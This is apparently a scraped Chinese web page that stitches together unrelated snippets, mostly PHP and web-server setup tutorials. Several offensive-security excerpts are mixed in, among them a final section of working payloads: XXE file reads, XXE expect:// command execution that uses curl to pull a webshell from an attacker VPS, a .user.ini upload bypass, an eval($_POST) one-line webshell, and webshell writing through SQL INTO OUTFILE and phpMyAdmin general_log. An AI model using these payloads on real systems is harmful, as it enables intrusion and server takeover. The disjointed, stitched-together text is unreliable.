在Linux下，后台执行跟windows就有写区别了，因为，我们后台执行的程式主要是通过php.exe文件通过system来实现的，但在linux下，没有php.exe文件，但是在"/usr/bin/php“实际上就是windows里的php.exe。 所以，我们后台执行的程式可以这样修改，实用于linux和windows：
简介 PHP是目前网站开发使用最多的一种编程语言，轻量好用，本文详细记录搭建本地开发环境的完整过程。 PHPStudy安装 php中文网旗下的phpstudy，国内经典的php环境搭建工具，可以快速搭建php运行环境！非常简洁，不需要繁杂的配置环境。 下载及安装 官网下载即可，具体的版本看个人需求，下载新的肯定是没错的。 下载后点击.exe文件安装即可。 配置PHP环境 在面板内选择一个版本安装即可。 PhpStorm安装 PhpStorm是一个轻量级且便捷的PHP IDE，其旨在提供用
C:\Users\Administrator\Desktop\Wnmp\php5.6\php.ini
0x01. 基于sql注入的webshell 可以利用mysql的导出函数，将查询 into outfile() 例如:id=1 union select 1,‘’ into outfile ‘c:/phpstudy/www/1.php 将id=1和联合查询出来的值导出到c:/phpstudy/www/1.php中,id=1的内容可能有很多,那么可以写id=1.1 让其查询不出结果’ into dumpfile() (可以16进制写入.) id=7.1 union select 1,‘’ into du
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
第一种是最通用最常见的Module方式，即在httpd.conf中使用LoadModule的方式，将php的dll或者so文件加载到apache当中。
今天，我们再来谈谈 Dart 的另外一大优势，那就是静态编译。估计 php 和 python 直接认输， java 和 go 冷眼旁观？
前言 最近想在windows下使用nginx搭建web环境，本来想用套件(WNMP)一键安装，但后来放弃了，觉得还是自己动手，丰衣足食的好，而且套件的局限性太大。所以后来就各种搜索，看到前辈写关于wnmp环境的搭建，虽是感觉千篇一律，不过对我这个新手来说，还是有一定的参考价值，非常感谢！但在搭建的过程中，遇到了很多问题，所以决定自己整理一番，以供初学者参考。 Nginx是一个高性能的HTTP和反向代理服务器，同时还是IMAP/POP3/SMTP代理服务器，该程序由俄罗斯Rambler.ru 站点开发，Ng
然后我们Ctrl+R输入cmd回车，在打开的命令行里面输入php -v，如图所示即为成功。
一个朋友的服务器换成了64位系统，增加了内存。 让我给装一下memcached，好吧！ 经过一翻努力，安装成功，记录一下。 一、安装memcache的php扩展。 1.下载地址：http://pan.baidu.com/s/1eQIHwPW 或者 http://downloads.php.net/pierre/ 2. 把php_memcache.dll放到php的ext目录 3. 打开php.ini ,在extension处增加一行extension=php_memcache.dl
这篇文章主要介绍了windows7配置Nginx+php+mysql的详细教程 的相关资料,需要的朋友可以参考下
一、Linux 服务器 Linux原生支持crontab，所以可以利用这一功能做定时任务
PHP定时执行任务有两种方式： 一、Linux 服务器 Linux原生支持crontab，所以可以利用这一功能做定时任务 步骤： 1、编辑crontab文件： Linux：crontab -e 2、输入代码： 0 0 * * 6 /etc/init.d/httpd restart && /etc/init.d/mysqld restart 代码解释：每周六0点自动重启apache和mysql，第一项（前面5位）是时间设置，具体格式百度之，不赘述，下同； 第二项是ap
先进行简单的信息收集，通过Wappalyzer插件可见php版本与windows serve这两个比较重要的信息
1、下载MetInfo 5.2.1到phpStudy的WWW目录下，开启phpStudy(注意php的版本问题，最好使用php5)；
开始学习PHP，环境搭建就是一个重要部分，折腾几个小时没搞定，各种问题，今天参考一下书上方法成功了，给大家分享一下。本次搭建结合PHP7.0+Apache2.4的服务器。环境搭建成功没问题，就是开启虚机主机服务时候，Apache无法启动，下次介绍下虚拟主机开启问题。步入正题。
安装完成后，点击控制面板->管理工具->Internet Information Services (IIS)管理器(注意不是那个什么6.0的)
一、安装配置Apache2.4.7(httpd-2.4.7-win64-VC11.zip ) 1、解压下载的安装包:httpd-2.4.7-win64-VC11.zip将其放到自己的安装目录(我的目录
图 5 打开之后，从开始界面可以点击注册后进入使用软件，或者点击暂不登录按钮，也可进入编辑界面。 2.点击文件--->新建--->Web项目，即可创建一个HTML+CSS+JS项目，如图6、7所示：
Wiki系统属于一种人类知识网格系统，可以在Web的基础上对Wiki文本进行浏览、创建、更改，而且创建、更改、发布的代价远比HTML文本小；同时Wiki系统还支持面向社群的协作式写作，为协作式写作提供必要帮助；与其它超文本系统相比，Wiki有使用方便及开放的特点，所以Wiki系统可以帮助我们在一个社群内共享某领域的知识。
别再到处搜 PHP 类扩展包了，对于现代语言而言，包管理器基本上是标配。Java 有 Maven，Python 有 pip，Ruby 有 gem，Nodejs 有 npm。PHP 的则是 PEAR，不过 PEAR 坑不少： 依赖处理容易出问题 配置非常复杂 难用的命令行接口 好在我们有 Composer，PHP 依赖管理的利器。它是开源的，使用起来也很简单，提交自己的包也很容易。 举个例子，平时我们开始的时候如果不是用框架，想要一个验证码，就要先去 Gihutb 或者其他地方找一个验证码类，然后在项目中 i
因为之前有一个项目是基于PHP5.6开发的，因为客户反映运行速度太慢，于是想办法提升速度，还记得之前有讲过PHP7的效率比PHP5高很多，于是打算先升级PHP版本（PHPStudy中自带的7.2.10）看看，在本地升级了PHP环境之后，项目直接报500错误，一直以为是项目中可能使用了PHP7不支持的内容，于是开始着手检查项目的跨版本兼容性，这也是今天上午写使用PHPCompatibility进行PHP跨版本兼容性检查的原因，最终检查结果没有任何语法错误和兼容性问题，但始终都是500错误，apache日志记录[PS:我自己的日志被我清理了，这是网络上找的，时间，IP，pid不一样，其他内容一致]
本文实例讲述了PHP5.6.8连接SQL Server 2008 R2数据库常用技巧。分享给大家供大家参考，具体如下：
工具善其事，必先利其器。 之前看王爽老师的汇编语言就是因为没有把环境搞好，半途而废了。 好，言归正传。 先去官网下载DOSbox https://www.dosbox.com/download.
这样配置的话就网络环境就会和topo图表示的一致，win7是边缘主机，连接着内网同时还有对外的公网ip搭建着web服务，所以多添加一张网卡来划分。
*本文原创作者：sysorem 维持访问 在获得了目标系统的访问权之后，攻击者需要进一步维持这一访问权限。使用木马程序、后门程序和rootkit来达到这一目的。维持访问是一种艺术形式，思想比渗透更加重要。 Netcat Cryptcat weevely cymothoa Netcat NetCat是一个非常简单的Unix工具，可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具，能被其它的程序或脚本直接地或容易地驱动。同时，它又是一个
XAMPP是一个易于安装的Apache发行版，其中包含MariaDB、PHP和Perl。仅仅需要下载并启动安装程序。
本篇文章详细记录了一个内网+服务环境靶机的渗透过程，大约涉及到15台主机，由于这些靶机都在虚拟机内搭建，和实战相比有所区别，但可以尽最大程度地模拟实战的情况。 从一级代理到三级代理，使用内网安全中常见的攻击手段（置零攻击、票据、域信任等）和服务安全常用的渗透手段（MSSQL利用存储过程提权、shiro550、Struts2-052漏洞等等）通过对内网中各个主机的渗透，一步步将Web服务器、子域控、父域控、安全域、涉密域、独立域等主机拿下。 PS：三月入门内网安全，简单完成了项目一（纯内网环境无任何应用），四
本文介绍了如何利用开源软件搭建属于自己的邮件服务器，并实现收发邮件的功能。文章首先介绍了所需的环境和工具，然后详细讲解了搭建过程，最后给出了测试邮件发送的示例。
如何在VSCode配置PHP开发环境（详细版）[通俗易懂]这篇博文是当初笔者上课需要配置XAMPP，整理出来配置方法，错漏之处没有认真核对，给造成麻烦的同学道个歉。以下有两场修正之处。第一处，XAMPP国内下载地址改成了XAMPP中文网最新版本下载链接，给之前误下p2p的同学再次道个歉。第二处，下载xdebug插件-添加配置处配置信息已经修正，感谢评论区@SabreWulf2020同学另，水平有限暂时无法回复大家的私信问题，请谅解。一、下载XAMPPXAMPP是一个易于安装的Apache发行版，其中包含MariaDB、PHP和Perl。仅仅需要下载并.
最近在做将网页内容输出成pdf文档方面的一个项目，找了好多类，php_pdflib,fpdf,HTML_topdf等等，不过最终还是发现这个好用，究其汉字处理方面发现了写一篇文章，就抄过来了，以供大家参考。
在爬取数据时，有一些网站设置了反爬（禁止F12、网页调试Debugger、丑化Js），比如下面这几种情况：
众所周知IIS的性能令人诟病，早期VFP开发WEB也没更好的方案，采用了CGI的方式运行于IIS内，好处是每次WEB调用，VFP程序运行后就结束，不存在内存泄漏，变量冲突等，也不会引起宿主IIS崩溃，但坏处就是频繁的启动进程，性能不理想。但FastCGI程序不同，执行完请求后，不会立即结束，而是留在内存等待下一次请求，减少了大量进程初始化的过程，性能就大大提高，缺点就是VFP开发人员要注意，大量的全局变量，不规范的变量使用等，会“污染”下一次请求。
不同的PHP调试环境，加密略有差异。下面主要介绍windows下phpstudy2018、xampp及phpstudy-pro三种环境的php文件加密。
第一部分：插件 VSCode内置"emmet"插件，"convert to utf-8"等插件效果！十分强大！代码提示功能特别强悍！ VSCode官网插件地址：点击此处！ 插件总览：插件越来越多，就不
如下编码网站： https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/
Windows安装包：https://public.xp.cn/upgrades/phpStudy_64.zip
这篇文章由好友@Drunkmars投稿，写的非常详细，适合新手朋友学习，首发先知社区。
本地开发系统使用的是windows系统下，配置的 nginx+php，在使用过程中总是出现崩溃现象，网上搜解决办法时，很多网友说是PHP-CGI 进程崩溃 造成的，当 php-cgi 处理php 达到500次，就自动关闭。也给出了解决办法。
比如我在开发一个php网站，突然需要二维码生成功能，自己写太麻烦，这个时候我可以去composer的扩展列表里看一看，如果有直接下载下来用就可以了，当然可能这个扩展还需要另外一个扩展或库。
1、利用文件上传功能上传恶意文件：一句话木马文件、反弹shell的exe 2、上传文件的路径可访问 3、上传文件所在的路径具备可执行权限
扫描一下存活主机与端口，发现开放了80、81、888、3306、8888端口，有宝塔的服务
3.命令行注册apache 服务(不同于exe文件的安装) (以管理员身份打开cmd win10 )
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
